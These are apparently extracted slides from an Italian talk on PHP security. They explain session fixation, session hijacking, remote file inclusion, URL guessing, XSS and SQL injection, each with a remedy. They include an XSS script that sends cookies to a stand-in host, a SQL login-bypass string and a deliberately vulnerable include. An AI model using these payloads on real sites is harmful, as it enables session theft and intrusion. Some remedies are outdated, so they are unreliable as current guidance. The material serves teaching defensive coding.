10. Session fixation L'utente viene indotto a cliccare su un link con id di sessione preconfezionata: <a href=”index.php?PHPSESSID=12345”>click</a> soluzione: session_start(); if (authenticate()) { session_regenerate_id(); } PHP e sicurezza - Massimiliano Arione
11. Session hijacking L'id di sessione dell'utente viene in qualche modo indovinata Soluzione: $_SESSION['ua'] = $_SERVER['HTTP_USER_AGENT']; if ($_SESSION['ua'] != $_SERVER['HTTP_USER_AGENT']) { exit; } PHP e sicurezza - Massimiliano Arione
12. Remote code injection Un utente invia come parametro una URL esterna index.php?section=news include 'includes/' . $_GET['section'] . '.php'; Soluzione: $clean['section'] = in_array($_GET['section'], $sections) ? $_GET['section'] : 'home'; include 'includes/' . $clean['section'] . '.php'; PHP e sicurezza - Massimiliano Arione
13. URL guessing Un utente sostituisce l'id che vede nella URL con uno diverso message.php?id=42 Soluzione: $message = getMessage($clean['id']); if ($message->getUserId() != $_SESSION['user_id']) { exit; } PHP e sicurezza - Massimiliano Arione
14.
15. Cross-Site Scripting (XSS) Sfrutta la fiducia dell'utente nell'applicazione <script>document.location = 'http://evilsite.com?cookies=' + document.cookie;</script> Stored o unstored Soluzione: htmlentities() PHP e sicurezza - Massimiliano Arione
16. SQL injection $sql = 'SELECT * FROM user WHERE username=apos;' . $_POST['username'] . 'apos; AND password=apos;' . $_POST['password'] . 'apos;'; $_POST['username'] = 'apos; OR 1=1 --'; Soluzioni: mysql_escape_string() PDO prepared statements: $stmt->bindParam(':username', $clean['username'];